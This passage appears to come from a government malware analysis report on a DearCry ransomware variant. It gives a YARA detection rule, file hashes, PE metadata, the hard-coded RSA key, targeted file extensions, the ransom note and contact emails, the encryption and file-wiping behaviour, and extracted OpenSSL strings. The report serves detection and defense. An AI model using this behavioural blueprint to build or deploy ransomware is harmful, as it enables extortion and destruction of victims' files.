           $s0 = { 8B 85 04 EA FF FF 50 8B 8D 08 EA FF FF 51 8B 55 14 52 8B 45 10 50 8D 8D 68 F0 FF FF 51 8B 95 00 EA FF FF 52 }
           $s1 = { 43 72 79 70 74 6F 50 72 6F 2D 58 63 68 42 }
           $s2 = “—–BEGIN RSA PUBLIC KEY—–“
           $s3 = “.CRYPT”
       condition:
           all of them
    }
ssdeep Matches
99 feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede
PE Metadata
Compile Date 2021-03-09 03:08:39-05:00
Import Hash f8b8e20e844ccd50a8eb73c2fca3626d
PE Sections
MD5 Name Raw Size Entropy
4289116f218aa083456871506085e1be header 1024 2.596118
46c15879afc7b600a23284d8e72f87aa .text 976896 7.069452
d0093b4c33543ebd59b2c22c7e71670f .rdata 265728 6.128934
40f8722b3a267afab34d8909cf5da682 .data 25600 4.794047
a0bf446401bdd255b7f7cb0215177d73 .rsrc 512 5.108717
bcd8233433c686e481a6c5a4f1f263ac .reloc 51712 5.474063
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Relationships
2b9838da7e… Related_To konedieyp[@]airmail.cc
2b9838da7e… Related_To uenwonken[@]memail.com
Description

This file is a 32-bit Windows executable application. This file has been identified as a variant of the DearCry Ransomware. The ransomware attempts to encrypt specific files, identified by file extension, on the target system utilizing the Advanced Encryption Standard (AES) and Rivest–Shamir–Adleman (RSA) encryption algorithms. The ransomware contains the following hard coded public RSA key, which is utilized to encrypt the target system’s user files.

–Begin RSA public key–
MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhkdI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evEur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR1CJQSg6Moblo2NVF50AK3cIG2lVh82ebgedXsbVJpjVMc03aTPWV4sNWjTO3o+aX6Z+VGVLjuvcpfLDZb3tYppkqZzAHfrCt7lV0qO47FV8sFCltuoNiNGKiP084KI7b3XEJepbSJB3UW4o4C4zHFrqmdyOoUlnqcQIBAw==-
–End RSA public key–

During runtime, the ransomware loads the hard-coded RSA public key. It then attempts to identify all drives that are connected to the attached system, from Drive A: to Drive Z:. For each drive identified, the ransomware will enumerate it and encrypt files with the following file extensions:

–Begin targeted file extensions–
.TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS
–End targeted file extensions–

It will then write the ransom note “readme.txt” to every folder it enumerates on the connected drive.

–Begin ransom note–
Your file has been encrypted!
                        If you want to decrypt, please contact us.
                        konedieyp[@]airmail.cc or uenwonken[@]memail.com
                        And please send me the following hash!
                        638428e5021d4ae247b21acf9c0bf6f6
–End ransom note–

Next, the ransomware will attempt to encrypt files on the target system that have the file extensions listed above. After encrypting the target system’s user files the ransomware will drop the ransom note “readme.txt” within folders with encrypted files on the target system.

The ransomware will then delete the original copy of the files and then replace them with encrypted copies of themselves with the file extension changed to .CRYPT. Before actually deleting the original target file, the malware will overwrite it with the repeating value 0x41 in order to make recovery of the file using computer forensics software impossible.

Before encrypting the target system’s user files the malware will encrypt information about the files, including the file’s full path and the AES key used to encrypt it, which will also be used to decrypt it. This data will be encrypted using the hard coded Public RSA key mentioned above, and added to the top of the encrypted file. Note: The ransomware will generate a new AES key for every file.

During execution, the ransomware runs a service named “msupdate.” After the encryption process and installing the ransom note, the “msupdate” service is removed, which could indicate that the ransomware was executed under the Windows “msupdate” service.

Illustrated below are strings of interest extracted from this binary. These strings indicate the encryption process of the target system’s user files is implemented utilizing the OPENSSL library:

–Begin strings of interest–
cryptoevpe_aes.c
cryptobiobio_lib.c
cryptorsarsa_lib.c
cryptoevpevp_enc.c
assertion failed: bl <= (int)sizeof(ctx->buf)
assertion failed: b <= sizeof ctx->buf
assertion failed: b <= sizeof ctx->final
assertion failed: EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)
assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16
%lu:%s:%s:%d:%s
secure memory buffer
memory buffer
cryptobiobss_mem.c
CERTIFICATE REQUEST
NEW CERTIFICATE REQUEST
PKCS7
CERTIFICATE
RSA PUBLIC KEY
DH PARAMETERS
X9.42 DH PARAMETERS
cryptorsarsa_crpt.c
cryptoevpevp_lib.c
assertion failed: l <= sizeof(c->iv)
assertion failed: j <= sizeof(c->iv)
init fail
called a function that was disabled at compile-time
internal error
passed a null parameter
called a function you should not call
malloc failure
fatal
missing asn1 eos
nested asn1 error
ECDSA lib
ENGINE lib
X509V3 lib
PKCS7 lib
BIO lib
EC lib
ASN1 lib
X509 lib
DSA lib
PEM lib
OBJ lib
BUF lib
EVP lib
DH lib
RSA lib
BN lib
system lib
gethostbyname
getsockname
getsockopt
setsockopt
getnameinfo
getaddrinfo
fread
opendir
WSAstartup
accept
listen
bind
ioctlsocket
socket
getservbyname
connect
fopen
KDF routines
ASYNC routines
CT routines
HMAC routines
CMS routines
FIPS routines
OCSP routines
engine routines
time stamp routines
DSO support routines
random number generator
PKCS12 routines
X509 V3 routines
PKCS7 routines
BIO routines
SSL routines
ECDH routines
ECDSA routines
elliptic curve routines
common libcrypto routines
configuration file routines
asn1 encoding routines
x509 certificate routines
dsa routines
PEM routines
object identifier routines
memory buffer routines
digital envelope routines
Diffie-Hellman routines
rsa routines
bignum routines
system library
unknown library
unknown
cryptoerrerr.c
error:%08lX:%s:%s:%s
reason(%lu)
func(%lu)
lib(%lu)
cryptomodesocb128.c
cryptothreads_win.c
cryptoex_data.c
OpenSSL PKCS#1 RSA (from Eric Young)
cryptorsarsa_ossl.c
cryptoengineeng_init.c
cryptobnbn_blind.c
cryptobnbn_lib.c
%I64i
OPENSSL_ia32cap
Service-0x
_OPENSSL_isservice
OpenSSL: FATAL
OpenSSL
no stack?
%s:%d: OpenSSL internal error: %s
cryptoenginetb_cipher.c
?assertion failed: *sbuffer != NULL
assertion failed: *currlen <= *maxlen
assertion failed: *sbuffer != NULL || buffer != NULL
cryptobiob_print.c
<NULL>
0123456789abcdef
0123456789ABCDEF
0123456789
A-C
?FILE pointer
cryptobiobss_file.c
fopen(‘
‘,’
cryptobufferbuffer.c
@@You need to read the OpenSSL FAQ, https://www.openssl.org/docs/faq.html
………………..
cryptorandmd_rand.c
cryptopempem_oth.c
X509_REQ
signature
sig_alg
req_info
X509_REQ_INFO
attributes
pubkey
subject
version
0123456789ABCDEF
Proc-Type:
ENCRYPTED
DEK-Info:
cryptopempem_lib.c
phrase is too short, needs to be at least %d chars
Enter PEM pass phrase:
Proc-Type: 4,
BAD-TYPE
MIC-ONLY
MIC-CLEAR
ENCRYPTED
DEK-Info:
—–END
—–
—–BEGIN
CMS
PKCS #7 SIGNED DATA
TRUSTED CERTIFICATE
X509 CERTIFICATE
PARAMETERS
PRIVATE KEY
ENCRYPTED PRIVATE KEY
ANY PRIVATE KEY
assertion failed: strlen(objstr) + 23 + 2 * EVP_CIPHER_iv_length(enc) + 13 <= sizeof buf
assertion failed: EVP_CIPHER_iv_length(enc) <= (int)sizeof(iv)
Expecting:
X509_CRL
crl
X509_CRL_INFO
revoked
nextUpdate
lastUpdate
issuer
X509_REVOKED
extensions
revocationDate
serialNumber
PKCS7_ATTR_VERIFY
PKCS7_ATTR_SIGN
PKCS7_ATTRIBUTES
PKCS7_DIGEST
digest
PKCS7_ENCRYPT
PKCS7_SIGN_ENVELOPE
PKCS7_ENC_CONTENT
algorithm
content_type
PKCS7_RECIP_INFO
enc_key
key_enc_algor
PKCS7_ENVELOPE
enc_data
recipientinfo
PKCS7_ISSUER_AND_SERIAL
serial
PKCS7_SIGNER_INFO
unauth_attr
enc_digest
digest_enc_alg
auth_attr
digest_alg
issuer_and_serial
PKCS7_SIGNED
signer_info
cert
contents
md_algs
type
d.encrypted
d.digest
d.signed_and_enveloped
d.enveloped
d.sign
d.data
d.other
NETSCAPE_CERT_SEQUENCE
certs
cryptoevpp_lib.c
%s algorithm “%s” unsupported
Public Key
cryptopempem_pkey.c
RSA_OAEP_PARAMS
pSourceFunc
maskGenFunc
hashFunc
RSA_PSS_PARAMS
trailerField
saltLength
maskGenAlgorithm
hashAlgorithm
RSA
X509_PUBKEY
public_key
algor
H/O
</O
h/O
P/O
0/O
cryptox509x_pubkey.c
cryptodsadsa_lib.c
DSA
priv_key
pub_key
DSA_SIG
cryptodsadsa_asn1.c
cryptoecec_key.c
assertion failed: eckey->group->meth->keygen != NULL
ECDSA_SIG
EC_PRIVATEKEY
publicKey
parameters
privateKey
ECPKPARAMETERS
value.implicitlyCA
value.parameters
value.named_curve
ECPARAMETERS
cofactor
order
base
curve
fieldID
X9_62_CURVE
seed
X9_62_FIELDID
fieldType
p.char_two
p.prime
X9_62_CHARACTERISTIC_TWO
p.ppBasis
p.tpBasis
p.onBasis
p.other
X9_62_PENTANOMIAL
certificate extensions
set-certExt
set-policy
set-attr
message extensions
set-msgExt
content types
set-ctype
Secure Electronic Transactions
id-set
pseudonym
generationQualifier
id-hex-multipart-message
id-hex-partial-message
mime-mhs-bodies
mime-mhs-headings
MIME MHS
mime-mhs
x500UniqueIdentifier
documentPublisher
audio
dITRedirect
personalSignature
subtreeMaximumQuality
subtreeMinimumQuality
singleLevelQuality
dSAQuality
buildingName
mailPreferenceOption
janetMailbox
organizationalStatus
friendlyCountryName
pagerTelephoneNumber
mobileTelephoneNumber
personalTitle
homePostalAddress
associatedName
associatedDomain
cNAMERecord
sOARecord
nSRecord
mXRecord
pilotAttributeType27
aRecord
lastModifiedBy
lastModifiedTime
otherMailbox
secretary
homeTelephoneNumber
documentLocation
documentAuthor
documentVersion
documentTitle
documentIdentifier
manager
host
userClass
photo
roomNumber
favouriteDrink
info
rfc822Mailbox
mail
textEncodedORAddress
userId
UID
qualityLabelledData
pilotDSA
pilotOrganization
simpleSecurityObject
friendlyCountry
domainRelatedObject
dNSDomain
rFC822localPart
documentSeries
room
document
account
pilotPerson
pilotObject
caseIgnoreIA5StringSyntax
iA5StringSyntax
pilotGroups
pilotObjectClass
pilotAttributeSyntax
pilotAttributeType
pilot
ucl
pss
data
Hold Instruction Reject
holdInstructionReject
Hold Instruction Call Issuer
holdInstructionCallIssuer
Hold Instruction None
holdInstructionNone
Hold Instruction Code
holdInstructionCode
aes-256-cfb
AES-256-CFB
aes-256-ofb
AES-256-OFB
aes-256-cbc
AES-256-CBC
aes-256-ecb
AES-256-ECB
aes-192-cfb
AES-192-CFB
aes-192-ofb
AES-192-OFB
aes-192-cbc
AES-192-CBC
aes-192-ecb
AES-192-ECB
aes-128-cfb
AES-128-CFB
aes-128-ofb
AES-128-OFB
aes-128-cbc
AES-128-CBC
aes-128-ecb
AES-128-ECB
Microsoft CSP Name
CSPName
ecdsa-with-SHA1
prime256v1
prime239v3
prime239v2
prime239v1
prime192v3
prime192v2
prime192v1
id-ecPublicKey
characteristic-two-field
prime-field
ANSI X9.62
ansi-X9-62
X509v3 No Revocation Available
noRevAvail
X509v3 AC Targeting
targetInformation
X509v3 Policy Constraints
policyConstraints
role
id-aca-encAttrs
Subject Information Access
subjectInfoAccess
ac-proxying
md4WithRSAEncryption
RSA-MD4
clearance
Selected Attribute Types
selected-attribute-types
Domain
domain
domainComponent
dcObject
dcobject
Enterprises
enterprises
Mail
SNMPv2
snmpv2
Security
security
Private
private
Experimental
experimental
Management
mgmt
Directory
directory
iana
IANA
dod
DOD
org
ORG
directory services – algorithms
X500algorithms
rsaSignature
Trust Root
trustRoot
path
valid
Extended OCSP Status
extendedStatus
OCSP Service Locator
serviceLocator
OCSP Archive Cutoff
archiveCutoff
OCSP No Check
noCheck
Acceptable OCSP Responses
acceptableResponses
OCSP CRL ID
CrlID
OCSP Nonce
Nonce
Basic OCSP Response
basicOCSPResponse
ad dvcs
AD_DVCS
AD Time Stamping
ad_timestamping
id-cct-PKIResponse
id-cct-PKIData
id-cct-crs
id-qcs-pkixQCSyntax-v1
id-aca-role
id-aca-group
id-aca-chargingIdentity
id-aca-accessIdentity
id-aca-authenticationInfo
id-pda-countryOfResidence
id-pda-countryOfCitizenship
id-pda-gender
id-pda-placeOfBirth
id-pda-dateOfBirth
id-on-personalData
id-cmc-confirmCertAcceptance
id-cmc-popLinkWitness
id-cmc-popLinkRandom
id-cmc-queryPending
id-cmc-responseInfo
id-cmc-regInfo
id-cmc-revokeRequest
cryptoasn1tasn_enc.c
cryptoasn1tasn_new.c
cryptoasn1tasn_fre.c
cryptoasn1a_dup.c
assertion failed: niv <= EVP_MAX_IV_LENGTH
assertion failed: nkey <= EVP_MAX_KEY_LENGTH
cryptoevpevp_key.c
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
?456789:;<=
!”#$%&'()*+,-./0123
cryptoevpencode.c
assertion failed: ctx->length <= (int)sizeof(ctx->enc_data)
assertion failed: n < (int)sizeof(ctx->enc_data)
cryptoasn1ameth_lib.c
X509_EXTENSIONS
Extension
X509_EXTENSION
critical
–End strings of interest–

Screenshots

Figure 1 - Screenshot of the data that will be prepended to an encrypted file. This data will contain an AES key that can be used to decrypt the file, as well as the full path of the file. This block will be encrypted via the hard-coded RSA key before it is prepended to the newly encrypted files. The ransomware will generate a new AES key for each file it encrypts.

Figure 1 – Screenshot of the data that will be prepended to an encrypted file. This data will contain an AES key that can be used to decrypt the file, as well as the full path of the file. This block will be encrypted via the hard-coded RSA key before it is prepended to the newly encrypted files. The ransomware will generate a new AES key for each file it encrypts.

Figure 2 - Screenshot of data after it is encrypted using the malware's hard-coded RSA key.

Figure 2 – Screenshot of data after it is encrypted using the malware’s hard-coded RSA key.

Figure 3 - Screenshot of the header of an encrypted file after the encrypted AES key and the full path of the file data is appended.